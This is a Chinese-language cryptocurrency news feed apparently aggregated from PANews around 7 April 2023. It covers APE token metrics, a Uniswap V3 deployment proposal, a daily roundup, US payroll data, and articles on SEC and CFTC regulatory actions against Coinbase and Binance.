    PANews 4月7日消息，区块链研究公司 Messari 发布报告称，面对经济萎缩，APE 活动仍然保持弹性。代币流通速度、新持有人、转账量、平均市值、平均 DEX 交换规模和平均独立投票等指标均环比增长。与上一季度相比，APE 在 2023 年第一季度的完全稀释估值（FDV）增长 20.6%。在 2023 年第一季度，超过 3320 万枚 APE 被解锁给非 DAO 实体，尽管存在抛售压力，但这并未导致任何表明 APE 被大量抛售的异常价格波动。Yuga 生态系统资产持有人和 APE 持有人认领了超过 3140 万个 APE。尽管抛售压力持续存在，但 APE 代币的平均价格仍比上一季度高出 20.6%。APE 质押于 2022 年 12 月上旬开启，今年第一季度已质押 3140 万枚。据 Etherscan 数据显示，250 个 APE 持有者占最大 APE 供应量约 97.5%，其中至少有 102 个地址是由 APE 基金会控制的钱包，APE 基金会至少控制 27% 的巨鲸钱包。  ( 1 min )
    Conflux在Uniswap社区发起将Uniswap V3部署至Conflux Network的提案
    PANews 4月7日消息，Conflux 在 Uniswap 社区发起在 Conflux Network 上部署 Uniswap V3 的提案，以将 Web2 用户引入 DeFi、提高亚洲市场的渗透率，并进入快速扩张的 Conflux 生态系统。该提案表示，链上投票后，Conflux 基金会可以在 Conflux eSpace 上部署 Uniswap V3，预计时间为五周；随后进行快照投票，以确定跨链桥解决方案，Multichain 将是可能解决方案。在激励措施上，Conflux 基金会为在 Conflux 网络上建立在 Uniswap V3 基础上的项目提供广泛的资助计划和额外的奖励。此外，Conflux 基金会希望为社区和在 Conflux 上构建 Uniswap V3 的项目提供以下两个额外的奖励： Conflux 基金会将为 CFX-USDT，CFX-BTC，和 CFX-ETH 交易对设立总额为 200 万美元的流动性资金池。该池将被锁定两年，但如果生态系统需要，Conflux 基金会可以延长锁定时间。此外，Conflux 将提供 100 万美元的流动性奖励，以引导网络上的早期流动性。Conflux 还建议在两年内拨出 100 万 美元的基金，每季度分配给建立在 Uniswap V3 之上并部署在 Conflux 上的协议。分配将基于前 50 个协议的 TVL 比率，获得该奖励的最低 TVL 为 2 万美元，DefiLlama 的快照将被用来决定分配。首批奖励将在启动后三个月内分配。Conflux 请求通过额外使用许可（通过 ENS 域名 uniswap.eth 颁布的许可变更）获得豁免，允许 Conflux 基金会使用 Licensed Work 在 Conflux eSpace 上进行部署，条件是该部署必须遵守以太坊 Layer1 Uniswap 协议的治理和控制。  ( 2 min )
    Euro Tether(EURT)和Tether Gold(XAUT)已在SimpleSwap上推出
    PANews 4月7日消息，Tether Operations Limited (Tether) 宣布 Euro Tether (EUR₮) 和 Tether Gold (XAU₮) ) 已在 SimpleSwap 上上市，SimpleSwap 是一个即时交易平台，具有用户友好的界面，可在支持的交易所进行无限交易或购买。  ( 1 min )
    PA日报 | 比特币难度上调2.23%至47.89T；美国财政部发布2023年DeFi非法金融风险评估
    今日要闻提示： 1.美国财政部发布2023年去中心化金融（DeFi）非法金融风险评估 2.Gitcoin将于4月25日至5月9日开放新一轮捐赠活动 3.外媒：Paxful两位联创对簿公堂争夺公司控制权，或是平台关闭的真正原因 4.Mt.Gox债权人还款注册已结束，计划于10月31日之前完成部分还款 5.韩国检方：Do Kwon的资产不在韩国，Terra项目犯罪所得约3亿美元 6.风投公司Bitkraft旗下第二只“代币”基金已筹集2.2亿美元 7.DappRadar报告：Web3游戏项目在2023年Q1吸引了7.39亿美元的投资 8.数据：比特币难度上调2.23%至47.89 T，再创历史新高 监管消息 美国财政部发布2023年DeFi非法金融风险评估：去中心化金融交易需遵守反洗钱规定 美国财政部今日发布了 2023 年 DeFi 非法金融风险评估，报告中表示，去中心化的金融（DeFi）交易，包括用虚拟货币进行的金融交易，需要遵守反洗钱和制裁法律。该报告指出，去中心化金融技术存在几项风险，风险包括勒索软件网络犯罪分子、小偷、骗子等网络参与者的滥用。也给国家安全和消费者保护带来问题。这份报告发布之际，美国和其他国家正在努力解决如何监管加密货币和虚拟资产的问题。 报告建议对该技术实施更严格的规定，并建议企业遵守现有的有关洗钱和反恐融资的法律。财政部官员称，要获得与去中心化金融服务相关的潜在好处，就必须解决这些风险。私营部门应利用这次评估的结果为自己的风险缓解战略提供信息，并根据反洗钱/反恐融资法规和制裁义务采取明确步骤，防止非法行为者滥用DeFi服务。 NFT Magic Eden将推出Ordinals创作者Launchpad 据CoinDesk报道，NFT市场Magic Eden周四表示将推出一个Ordinals创作者Launchpad，帮助创作者铸造比特币NFT收藏品铭文。尽管Magic Eden此前已经为创作者提供了上架和销售Ordinals的基础设施，但Launchpad将帮助创作者进入生态系统，并在比特币网络上铸造代币。据此前消息，上个月Magic Eden推出一个比特币NFT市场，允许收藏者在二级市场上购买Ordinals。该平台自上线以来日交易量一直领先，目前市场份额为44.1%。 此外，Magic Eden以太坊平台已上线，“尊重NFT版税”。 项目动态 Lido预测以太坊提款速度：持有少于1000stETH用户的提款请求最快可在1天内完成 流动性质押协议 Lido 公布其预测的使用 Lido 的以太坊提款速度，称若 Lido 协议的缓冲区有足够的 ETH 来提供服务的话，持有少于 1000stETH 用户的提款请求应该可在 1 天内完成（标准以太坊提款需要 2-6 天），1000 到 5000ETH 范围内的 Lido 提现请求也可能会 2 天完成，超过 5000ETH 的提款请求预计需要 4-10 天的时间，超过 10 万枚 ETH 的提款请求预计需要两周才能完成。 如果缓冲区中没有足够的ETH来提供服务，持有少于 1000stETH 用户的提款请求可能会比标准以太坊取款稍长(3-8天之)，1000 到 5000ETH 范围内的 Lido 提现请求可能需要更长的时间(5-9天)。 Gitcoin将于4月25日至5月9日开放新一轮捐赠活动 Gitcoin 宣布将于 4 月 25 日至 5 月 9 日开放新一轮捐赠活动：Gitcoin Program Beta Round。 Avalanche推出“Evergreen”子网以连接区块链上的机构 据Cointelegraph报道，Avalanche 开发商 Ava Labs 正在引入新的机构部署以改善区块链环境。Ava Labs 今日推出了 Avalanche Evergreen 子网，这是一套机构区块链工具和定制工具，旨在满足公司对金融服务的特定要求。Evergreen 子网上的公司间通信是使用 Avalanche 的本地通信协议 Avalanche Warp Messaging(AWM)启用的。AWM 功能在不同 Avalanche 子网上的任意两个区块链之间提供本地通信。 此外，今日消息，Avalanche已在Fuji测试网上激活Cortina升级。 推特网页Logo重新换回蓝鸟图案，狗狗币日内下跌8% 推特首页Logo从狗狗币表情头像重新变回原来的蓝鸟，狗狗币短线下跌，目前报0.08594美元，24小时下跌7.86%。4月3日，推特网页Logo更换为柴犬表情，随后马斯克推特发布含有狗狗币表情的照片，狗狗币短线上涨超过20%。 Mt.Gox债权人还款注册已结束，计划于10月31日之前完成部分还款 Mt Gox恢复受托人今日在一份信中表示，2023年4月6日选择还款方式和注册收款人信息（“选择和注册”）的截止日期已经过去。今后，除非得到恢复受托人的明确批准，否则恢复债权人将无法进行或更改选择和登记。 未来，恢复受托人将进行必要的还款准备，包括确认恢复债权人的选择和登记，以及与银行、资金转账提供商和加密货币交易所进行讨论和共享信息或参与还款的保管人。有鉴于此，预计还款需要一些时间才能开始。 基本还款、中期还款和提前一次性还款目前计划在2023年10月31日之前完成，但具体还款时间尚未确定。另请注意，考虑到各种情况，上述期限可能会在东京地方法院的许可下延长，或者可能会在东京地方法院的许可下为部分还款设定不同的期限。 Orbiter Finance回应跨链资金未到账：系网络不稳定导致跨链失败，已全部处理 针对关于“部分用户跨链后在目标链未收到资产的疑问”，Layer 2桥接项目Orbiter Finance回应称：“Orbiter Finance和用户的资产是安全的，没有遇到任何攻击或潜在威胁。在过去的三周里，Layer2网络的不稳定导致了一些传输失败，目前已全部处理。” 韩国检方：Do Kwon的资产不在韩国，Terra项目犯罪所得约3亿美元 据KBS报道，韩国检察官表示，Terraform Labs的9名前任和现任高管从该项目中非法筹集的4145亿韩元（约合3.142亿美元），其中约有914亿韩元属于该公司首席执行官Do Kwon，但确认他的资产都不在韩国管辖范围内。 当地检察官暂时没收了属于Terraform联合创始人Shin Hyun-seung（又名Daniel Shin）的资产，包括房地产和进口汽车。该国检方指控Daniel Shin从Terra-Luna项目中非法获利超过1540亿韩元。Do Kwon似乎将很大一部分财产换成比特币，转移到海外加密交易所。检察官表示，他们已要求币安阻止Do Kwon提取其加密货币。 BitMex前CEO Arthur Hayes成立投资机构Maelstrom Capital 据CoinDesk报道，BitMex前首席执行官Arthur Hayes和前企业发展主管Akshat Vaidya共同创立了Maelstrom Capital。Maelstrom被设置为Hayes的家族办公室，由Vaidya担任投资主管，Maelstrom的资金来源于Hayes，暂无其他LP。 他们在接受采访时表示，Maelstrom目前正在瞄准基础设施公司，且正寻求超越比特币和以太坊的回报，但他们需要花时间来实现这一目标。Vaidya表示：“投资基础设施项目的优势在于，尤其是在这个周期，很多基础设施项目并不像其他项目那样真正成为监管机构的关注焦点。” 据悉，Maelstrom的所有投资组合公司，除了一家没有代币模型的公司，都在美国境外。 外媒：Paxful两位联创对簿公堂争夺公司控制权，或是平台关闭的真正原因 据Cointelegraph报道，比特币P2P市场Paxful的两位联合创始人 Artur Schaback和Mohamad (Ray) Youssef在美国特拉华州法庭上的激烈争执可能是4月4日Paxful突然关闭的真正原因。根据法庭文件，Schaback和Youssef于2015年共同创立了Paxful ，现在他们正在就公司的控制权提起诉讼，对彼此提出多项指控。 Schaback一直担任Paxful的首席运营官，直到2022年2月，他被禁止参与该公司的运营，原因是他与Paxful首席执行官Youssef在市场的未来和运营方面存在分歧，包括“向未披露实体不断增加支出的合法性”方面的冲突。根据Schaback在诉讼中的说法，Paxful的大量比特币已经转移到一个名为“EMiR”的土耳其实体，他声称这不是一家合法的软件公司，“它没有宣传软件或网络开发服务的网站，也没有物理地址……似乎属于一家服装公司。”而Youssef对此表示，这些指控围绕着向一家为Paxful工作的土耳其工程公司支付工资，Schaback拒绝支付这些工资导致整个80名工程师团队停止工作。在他的团队即将辞职的情况下，Youssef表示不可能将Schaback留在 Paxful。 Schaback在接受采访时表示，Youssef于4月4日单方面关闭了Paxful，“Youssef的行动旨在巩固美国以外司法管辖区的权力，并将我和其他股东从他的计划中剔除。”Schaback表示，他对公司信息的访问权限有限，并且已经18个月没有参与日常运营。 zkSync：资金被卡项目为Gemholic，已找到解冻合约解决方案 zkSync在推特上表示，zkSync Era上多合一平台Gemholic遇到智能合约问题，资金是安全的，目前已找到一个解决方案来解冻合约，可以解决更广泛的与Gas相关的问题，这将需要对协议的Gas计量进行最小的更改，但会允许完全回收资金，将在明天发布更多详细信息。 zkSync解释称，任何使用transfer()或send()的智能合约都严重依赖Gas成本（硬编码2300 Gas），但这不能保证在以太坊上工作，fallback()函数可以消耗超过2300 Gas，opcode Gas定价在以太坊的未来版本中可能会发生变化，合约将会中断。zkSync Era不等同于EVM，Era有一个发散的、动态的Gas计量方案，允许一些交易类型比任何其他EVM Rollup便宜10到1000倍。按照Era主网当前的Gas水平，ETH转账将花费超过2300 gas。这就是为什么任何没有明确Gassti pend的.transfer()调用目前都会失败的原因。zkSync一直很清楚这个问题可能会出现，所以直接向编译器添加了关于.transfer()的警告。 此前今日早些时候消息，某zkSync生态项目921枚ETH融资资金被卡至合约中。 Uniswap社区发起“BSL过期后跨链部署和新uniswap.eth子域名创建”的温度检查投票 Uniswap社区正就“商业源代码许可证（BSL）过期后跨链部署和新uniswap.eth子域名创建”提案进行温度检查投票，目前该提案支持率为100%，投票将于4月14日截止。 Uniswap基金会新任治理主管Erin Koen表示，BSL到期后，为每条链确定一个官方Uniswap V3部署将是有益的，以便为用户提供安全保障并明确Uniswap治理。此外，为了与在BSL到期后推荐的治理流程保持一致Uniswap基金会建议创建一个新的ENS子域v3-deployments.uniswap.eth，以跟踪Uniswap v3在L1和L2上的官方部署。 EigenLayer发布第一阶段测试网，支持两种再质押方式 以太坊再质押协议EigenLayer在博客文章中宣布，其已发布EigenLayer协议第一阶段测试网，该测试网建立在以太坊Goerli网络上，目前仅支持流动性再质押和原生再质押。流动性质押支持在EigenLayer合约上重新抵押各种流动性代币。EigenLayer的发布将分三个阶段进行，分别为质押者、节点运营商和服务。EigenLayer表示，该测试网是早期的非激励性测试网，代码正在积极开发中。 此前3月份消息，EigenLabs完成5000万美元A轮融资，Blockchain Capital领投。 Optimism：Token House已批准主网Bedrock升级 据官方推特，以太坊二层解决方案Optimism宣布，其治理组织Token House已通过投票批准了Optimism主网Bedrock升级。推文中表示，这不仅是Collective使用新的投票页面进行的第一次链上投票，这也是关于第一次协议升级。 该投票链接的是Bedrock升级提案V2版本，升级标准流程为先在Optimism Goerli上进行Regolith硬分叉，待审计修复后，在测试网上进行2周的测试，只有在达到测试网稳定性的标准后，Optimism基金会才会宣布升级日期，至少在发布日期后3周。升级将在特定时间触发，而不是区块高度。 融资消息 风投公司Bitkraft旗下第二只“代币”基金已筹集2.2亿美元 据CoinDesk报道，根据3月30日向美国证券交易委员会(SEC)提交的文件，专注于游戏的风险投资公司Bitkraft已为其第二只“代币基金”筹集了2.206亿美元。该基金的总融资目标为2.4亿美元。Bitkraft于2021年10月推出了一只类似基金，旨在投资区块链游戏和数字娱乐，获得7500美元的承诺资金。Bitkraft于2016年由游戏和电竞资深人士Jens Hilgers创立，专注于参与Web2和Web3领域游戏工作室、游戏平台和游戏相关技术的种子轮至B轮融资。Bitkraft管理的资产已增长到约6亿美元，其中三分之一与Web3有关。该公司旗下基金包括一个专注于电子竞技的基金、一个普通风险投资基金以及两个“代币”基金。 矿业消息 彭博社：DCG旗下矿企Foundry将停止提供免费服务 据彭博社报道，根据4月6日发给客户的通知，DCG旗下加密矿企Foundry USA将在4月19日至4月22日期间开始向会员收取矿池费用。而该矿企自2019年推出矿池以来一直免费提供服务。 通知中写道：“随着Foundry USA矿池的不断扩大，我们正在实施分层收费，这将进一步使我们能够扩展我们的功能集，并继续在我们的FPPS(支付模式下运营。，每个季度的定价等级将基于上一季度的平均哈希率。” 据悉，Foundry的“零费用”定价结构帮助推动其成为主要的比特币矿池。btc com的数据将其列为全球算力最大的比特币矿池，网络份额约为36%。该公司还提供加密质押服务。 重要数据 DappRadar报告：Web3游戏项目在2023年Q1吸引了7.39亿美元的投资 根据 DappRadar 和区块链游戏联盟的最新报告，Web3 游戏项目在2023 年第一季度吸引了 7.39 亿美元的投资。这些资金中有将近 60%（4.34 亿美元）是在 2023 年 3 月筹集的。2.14 亿美元投资于游戏和元宇宙公司。另外还有 1.59 亿美元用于基础设施公司。相比之下，投资于 NFT 公司的 1000 万美元只占总资金的一小部分。Wax仍然是最活跃的区块链游戏协议，其次是Polygon、Hive和BNB Chain。 该报告详细描述了虚拟世界活动的激增。虚拟世界的交易活动在本季度结束时达到 3.5 亿美元，这是自 2022 年第二季度以来最好的一个季度。DappRadar 在 3 月份记录了超过 67,000 笔虚拟土地交易，几乎占该季度 143,000 笔交易总量的一半。 数据：4月4日以来狗狗币前5名巨鲸中的2名共减持约14亿枚DOGE 链上分析师Lookonchain发推文称，在马斯克将推特LOGO从蓝鸟改为狗狗币（4月4日）再改为蓝鸟（4月7日）期间，狗狗币前5名持有者中的2名巨鲸减持了约14亿枚DOGE（约合1.21亿美元）。 “DDuX”开头的巨鲸地址（第5位持有者）减持了11亿枚DOGE（约合9520万美元），“D8ZE”开头的巨鲸地址（第3位持有者）减持了3亿枚DOGE（约合2860万美元）。 数据：比特币难度上调2.23%至47.89 T，再创历史新高 据欧科云链OKLink多链浏览器数据显示，比特币挖矿难度于昨日在23:34（区块高度784224）处迎来了挖矿难度调整，挖矿难度略微上调2.23%至47.89 T，再创历史新高，目前全网平均算力为341.89 EH/s。  ( 3 min )
    美国3月季调后非农就业人口为23.6万人，美国3月失业率3.5%
    PANews 4月7日消息，美国3月季调后非农就业人口为23.6万人，预期23.9万人，前值31.1万人。美国3月失业率3.5%，预期3.60%，前值3.60%。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.07）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    Wired杂志：Binance和Coinbase已被卷入美国监管地盘争夺战
    作者：JOEL KHALILI，Wired 编译：ShenZhen，PANews 3月22日，全球最大的加密货币交易所之一Coinbase收到了来自美国证券交易委员会（SEC）的通知警告，称该监管机构计划起诉该公司，称其违反了证券法规。SEC坚称，加密货币资产属于证券范畴，因此受到其监管。但是在3月27日，全球最大的加密货币交易所币安及其创始人赵长鹏被另一家监管机构——商品期货交易委员会（CFTC）指控违反大宗商品交易法规——因为CFTC认为，一些流行的加密货币资产属于大宗商品。 两家不同的交易所可能因涉嫌违反完全不同的监管制度而受到两个不同监管机构的制裁，这表明随着SEC和CFTC之间的地盘争夺战升级，美国加密货币公司的经营环境越来越复杂。在2022年11月FTX急剧崩溃之后 ，这两个监管机构都对加密行业采取了更激进（甚至是敌对）的态度，通过执法行动来表明他们对管辖权的主张。 “如果人们想知道年初的态度是什么，现在他们知道这是敌对的，”前白宫幕僚长兼加密合规平台Astra Protocol顾问Mick Mulvaney说。“我认为FTX不是原因，而是借口。” 自今年年初以来，SEC对美国的加密货币公司和个人发起了一系列诉讼。1 月，监管机构指控加密货币交易所Gemini和加密货币贷方Genesis Global Capital提供一项服务，该服务允许美国客户从其代币中赚取利息，该机构称这是一种未注册的证券发行。在Twitter帖子中，Gemini联合创始人Tyler Winklevoss称这些控告是“伪造的停车罚单”。 2月，监管机构与另一家交易所Kraken达成和解，后者同意停止一项服务，该服务使美国客户能够通过锁定其加密货币获得奖励。监管机构还向加密货币公司Paxos发出警告 ，警告其有意就其BUSD稳定币提起诉讼，美国证券交易委员会声称这是一种证券。在一份声明中，Paxos写道，它“绝对不同意美国证券交易委员会的意见”。 然后在3月，美国证券交易委员会（SEC）指控TRON区块链创始人孙宇晨进行市场操纵活动，还有包括Lindsay Lohan和Ne-Yo在内的八位名人，因“非法炒作”与孙宇晨有关的代币但未透露收到报酬。 Mulvaney表示，他认为该机构正在通过执法行动“展示自己的力量”，以此作为加强其对该行业的主张的一种方式，但这样做已经失去了公正性。  即使在美国证券交易委员会内部，对该机构如何处理加密货币也存在分歧。美国证券交易委员会五名委员之一的Hester Peirce公开反对多项与加密相关的行动，她说，这是为了促进讨论并治愈该机构与加密行业之间“功能失调”的关系。 “我们还没有完成监管者的职责。我们没有提供合规途径，而是在事后采取执法行动，”Peirce说。尽管该机构的行动是出于保护投资者的愿望，但“该战略是管辖权最大化的战略之一，”她说。“树立权威的一种方法是采取执法行动。” 美国证券交易委员会拒绝放弃管辖权，从而满足了美国证券交易委员会对该行业的倾斜。该机构对Binance的诉讼——迄今为止世界上最大的加密货币交易所，到目前为止美国监管机构基本上仍无法控制它——特别提到流行的加密货币，包括比特币、以太币和莱特币，作为商品。 CFTC没有回应采访请求，但在宣布诉讼的声明中，CFTC主席Rostin Benham 为对加密公司采取进一步行动奠定了基础。“这应该是对数字资产世界中任何人的警告，即CFTC不会容忍故意规避美国法律，”他写道。 在一篇回应CFTC诉讼的博客文章中，Zhao表示，币安“不同意投诉中指控的许多问题的定性”。他还称这起诉讼“令人失望”，尤其是因为币安一直在与CFTC 进行“合作”。币安拒绝就有关诉讼的进一步问题提供正式答复。 在国会没有明确指导SEC或CFTC是否应该对行业进行监管的情况下，加密货币企业必须尽其所能来预测来自两个方向的可能投诉。但由于这两个机构都缺乏针对加密货币的指导方针，这变得很困难。 总部位于洛杉矶的加密投资公司Wave Digital Assets的首席执行官Dave Siemer表示：“这就像在没有标志或车道的路上开车，试图根据谁被拦下来找出规则。” “你只是在猜测。” 加密货币公司表示，他们对监管的猛烈抨击感到特别沮丧，因为他们试图与 SEC和CFTC接触，并要求制定更清晰、更全面的道路规则。 Coinbase首席法律官Paul Grewal在接受WIRED采访时声称，他的公司与SEC 的互动更像是“单方面的独白”，而不是对话。他说，试图帮助找出不符合现有规则结构的加密行业部分的尝试基本上没有得到回应。 “Coinbase并没有要求特殊待遇。我们希望注册并遵守严格的标准，”Grewal 说。“但美国证券交易委员会断然拒绝颁布基本规则，而是依靠执法监管制度。” Gensler呼吁加密货币公司向美国证券交易委员会注册，这一过程理论上可以通过确保它们从一开始就符合监管机构的期望来最大限度地减少追溯法律诉讼的机会。但是，注册就像填写在线表格一样简单的想法加剧了紧张局势；Grewal表示，这种对注册过程的描述“根本不正确”，少数试图注册的企业“惨败”。 如果一家企业的申请被美国证券交易委员会拒绝，它就不能在美国提供与证券相关的服务，至少不能以其申请中描述的形式提供。Siemer说，由于对加密资产分类的混淆，这种可能性可能会构成“生存威胁”。“进入并注册意味着不复存在，”他说。“没有框架；没有路。 什么是加密货币的问题可以在法庭上解决。例如， SEC和跨境支付公司Ripple之间关于加密货币XRP的持续 案件预计将在某种程度上澄清加密货币是否应被视为证券（并受SEC监管）。两年后，此案即将作出判决，但由于是在地方法院审理，因此不会确立具有约束力的先例。然而，SEC的胜利将加强其成为事实上的加密货币监管机构的理由。 业内人士表示，更好的解决方案是让美国国会制定全面的加密货币立法。根据《加密市场法》(MiCA)，欧盟有望在2024年引入基础广泛的加密立法，日本和阿联酋等国家也迅速采取行动，但美国落后了。在第177届国会上提出了许多与加密相关的法案，但在12月的最近一届会议结束时就夭折了，因此需要重新正式提出并再次辩论。 在众议院任职六年的Mulvaney表示，在2024年总统大选之前，今年不太可能通过类似全面的加密货币立法的任何内容。但他说，一线希望是加密货币是“两党”的——它对政治分歧双方的自由主义信仰都有吸引力——这意味着立法问题不会按照“部落路线”来解决。 “在没有监管的情况下很难运营，因为你不知道自己是什么，”Mulvaney说。“你不想受到过度监管……但你需要足够的指导和清晰度。这就是甜蜜点。” 在加密社区的某些部分，监管机构拒绝设定明确的界限被解释为蓄意试图将该行业挤出美国。 Mulvaney和Siemer表示，无论意图如何，加密资产分类、主管监管机构以及向政府注册服务的过程持续模糊的后果很可能导致加密货币企业从该国撤离。 3月下旬，USDC稳定币的发行人Circle Internet Financial宣布计划在巴黎建立欧洲总部。据彭博社报道，Coinbase也在筹划其交易平台的离岸版本。Grewal 拒绝证实，但表示该公司“正在密切关注美国以外市场的增长”。 类似的模式正在小型加密公司中上演。Siemer说，Wave Digital Assets正在准备自己的应急计划。尽管该公司尚未考虑离开美国，但出于对监管环境的担忧，它已停止在该国招聘。 美国证券交易委员会委员Peirce表示，该机构的目标是帮助实现安全的技术实验，而不是将加密行业推向海外。但她对这种解释表示同情。“如果你试图在美国发送你想要加密货币的信息，但你希望它是合规的，那么发送该信息的方式就是帮助公司“遵守规定”。但我们没有看到这种情况发生，”她说。  “你不能通过说‘进来登记’来修复这种情况——因为没有人知道那是什么意思——而是把每个人都带到一个房间里，像成年人一样交谈。”  ( 2 min )
    市场静待3月非农报告，比特币多空力量分歧严重
    原文：《市场静待非农报告，比特币弱势横盘等方向》 作者：比推BitpushNews Mary Liu 在周五美国非农就业报告发布之前，加密市场显示出疲软迹象，比特币在刚刚创下八个月高点之后，再次跌破 28,000 美元，比推终端数据显示，BTC/USD 周四跌至盘中低点 27,831.56 美元，以太坊也在下跌。 根据Trading Economics的数据，3月份非农就业人数估计将增加238,000个，失业率将稳定在3.6%，交易员关注报告释放的通胀迹象，这会影响美联储的利率政策，进而影响比特币等风险资产的价格。 比特币在今年一季度上涨了72%，创下两年来最佳的季度表现。但自 2021 年 11 月创下近 69,000 美元的历史最高点以来，现在的交易价格甚至连一半的反弹都没有实现。 多种原因推动了比特币第一季度的飙升，例如比特币充当通胀对冲工具，以及规避传统银行系统中发生的漏洞。但除此之外，加密市场的流动性和交易量已大大缩水，因为在 2022 年的行业丑闻和一系列内爆（包括 11 月的 FTX）之后，在新冠大流行期间入场的投资者保持观望。 加密分析师对比特币是否继续上涨存在分歧，一些人认为看涨趋势可能占上风，而另一些人则认为空头力量的作用更大。 也许季节性上涨会发挥作用。根据 Bespoke Investment Group 编制的数据，4 月通常是比特币的稳定时期，排名仅次于 10 月。Bespoke 数据显示，在过去五年中，比特币在 4 月份的平均涨幅为 15.63%。对于第二大数字资产以太坊而言，2018 年以来4 月是表现最强劲的一个月份，平均涨幅为 33%。 Capriole Fund 创始人、分析师Charles Edwards在 4 月 5 日的一条推文中表示，从历史上看，只要比特币的价格与其能源支出相匹配，它就为比特币的世代投资提供了难得的机会。据他介绍，这是 BTC 长期繁荣的一个非常值得信赖的指标。 City Index 高级金融市场分析师 Fiona Cincotta 在其报告中表示：“在 3 月份令人印象深刻的反弹之后，我们现在看到一段略低于关键 30,000 美元的盘整期。不过，突破 30,000 美元仍然很有可能”。 根据 Glassnode 的数据，鲸鱼地址的行为暗示其并不像其他持有者那样对比特币持乐观态度。持有超过 100 BTC 的地址数量开始下降。截至发稿时，该数据触及 3 个月低点，进一步表明市场鲸鱼的怀疑态度。 加密图表分析师 Eliman Dambell 认为，下跌是因为比特币多头无法维持关键阻力位 28,500 美元。从图表上看，最近的价格下跌是在 14 天相对强弱指数 (RSI) 跌破 58.00 的底部时发生的。截至发稿时，该指数目前为 57.80，10 天移动均线接近与其 25 天移动均线的向下交叉点，如果情绪仍然看跌， BTC很有可能跌至 27,000 美元的底部。 此外，交易员的情绪已经开始呼应巨鲸的看跌行为。Coinglass 的数据表明，在过去几天里，BTC 的空头头寸比例从 49% 上升到 51.2%。 另一个表明 BTC 潜在抛售压力的指标是矿工收入下降。blockhain.com数据显示，如果矿工收入继续像过去几天一样下降，许多矿工未来将被迫出售他们持有的 BTC 以获利。 比特币自 3 月以来一直徘徊在28,000 美元区域附近，分析师认为，上行阻力为29,000 美元至 30,000 美元区域，该阻力模式在技术分析中被称为Spinning Top形态，代表犹豫不决，或多头和空头之间的僵局。 Miller Tabak + Co 首席市场策略师 Matt Maley 对彭博社表示表示，在代币最近以某种方式急剧波动之后，例如 3 月份的飙升，比特币倾向于在一段时间内横盘。他说：“一旦它采取这一行动，投资者就会对这一行动感到紧张，然后加密货币会在一段时间内陷入横向盘整，过去一年以来这是第六次发生这种情况。” 综上所述，同时存在的看涨和看跌因素使比特币的下一步走势难以预测。  ( 2 min )
    从“某安”被起诉事件，看看加密资产在美国有多难混
    飒姐前几天为大家分析过某币圈大佬及其旗下公司，涉嫌违反美国1933年《证券法》和1934年《证券交易法》，向美国公众发行和售卖未受美国证监会（SEC）规管的非法证券加密资产，以及以操纵证券市场的“洗售交易”方式向公众欺诈性宣传证券加密资产，被SEC起诉的事件。在该事件之后，美国虚拟资产的另一个监管主体“商品期货交易委员会”（U.S. Commodity Futures Trading Commission，以下简称“CFTC”）同样对另一家头部加密资产交易平台“某安”重拳出击。 今天飒姐团队就为大家梳理该事件全貌，并以该事件为契机为大家讲解美国的虚拟资产监管体系以及CFTC是如何让加密货币成功“商品”化的。 1、某安到底怎么了？ 据路透社报道，美国当地时间3月27日，CFTC向芝加哥联邦法院提交了起诉状，正式对全球最大的加密货币交易所之一“某安”（主要包括了Binance Holdings Limited、Binance Holdings (IE) Limited和Binance (Services) Holdings Limited三个实体）及其首席执行官兼创始人赵某（坊间简称“CZ”）提起诉讼。CFTC在起诉文件中称CZ运营了“非法”交易所，并长期进行“虚假”合规项目（即表面合规实际上未能取得合规结果）以保持资产的高流动性。CFTC还指控CZ旗下的某安交易所前高管Samuel Lim（该人于2018年至2022年担任币安首席合规官）“故意逃避”美国法律并“实施了有计划地监管套利策略”。 整理长达几十页的CFTC起诉文件飒姐团队发现，CFTC主要认为某安有两大“罪状”： （1）某安未按要求在CFTC注册即向美国公众提供应受规管的产品或服务。起诉文件称，某安在未在CFTC注册为可以收取期货佣金的商家、指定的合约市场或互换合约执行机构的情况下，直接向美国公众提供期货交易以及“非法的场外商品期权”属于违反美国《商品交易法》（Commodity Exchange Act, “CEA”）的行为。在违法运营期间还存在监管不力的情形，未实施KYC要求或反洗钱措施，也未采取有效的反逃税监管。 （2）某安及CZ等领导层主动为大客户提供规避自己合规措施的路径。起诉文件中认为，某安主动“指导”了部分客户利用VPN等科学上网工具掩盖了自身真实所在位置，随后允许这类身份和所在地不明的客户在某安平台正常交易，违反了CFTC的监管规则。并且，CZ及其他高管还“指导”了美国的部分VIP客户以及控制交易决策、交易算法的关键美国员工成立“壳公司”在某安开户交易，以规避币安自己的合规措施（此即虚假合规）。 目前案件尚未有重大进展，还需时间进行观察，但飒姐团队认为该事件最终很可能由某安支付巨额资金以实现和解的结果。 在该案件中，一个值得思考的关键问题是，CFTC是否可以依职权监管加密资产？以及何种加密资产在CFTC的监管范围内？ 2、CFTC，一条进击的加密资产监管之路 如前所述，CFTC是美国商品期货委员(U.S. Commodity Futures Trading Commission)的简称，该监管机构成立于1974年，CFTC的主要职责和作用是负责监管美国商品期货、期权和金融期货、期权市场，保护市场参与者和公众不受与商品和金融期货、期权有关的诈骗、市场操纵和不正当经营等活动的侵害，保障期货和期权市场的开放性、竞争性的和财务上的可靠性。 对于金融产品，美国采取了分散式监管的策略，将金融产品区分为证券和大宗期货商品进行分部门式监管，由SEC监管构成“证券”的“投资合约”，而由CFTC负责监管商品期货等用于投资目的的“商品”贸易。值得一提的是，将“证券”视为对企业的投资而将商品视为“事物”进行二分式监管实际上是一种较为简单的监管思路，极易引发监管冲突，正如在此次某安被起诉事件中，其首席法务官Paul Grewal所言：“证券显然也可以是商品，具体的定义完全取决于你什么时候、什么时机以及询问哪个监管机构。”因此，目前世界上大部分国家都采取证监会统一对证券类和期货类产品进行统一监管的策略，例如我国证监会就负责统一监管证券市场和期货交易市场。 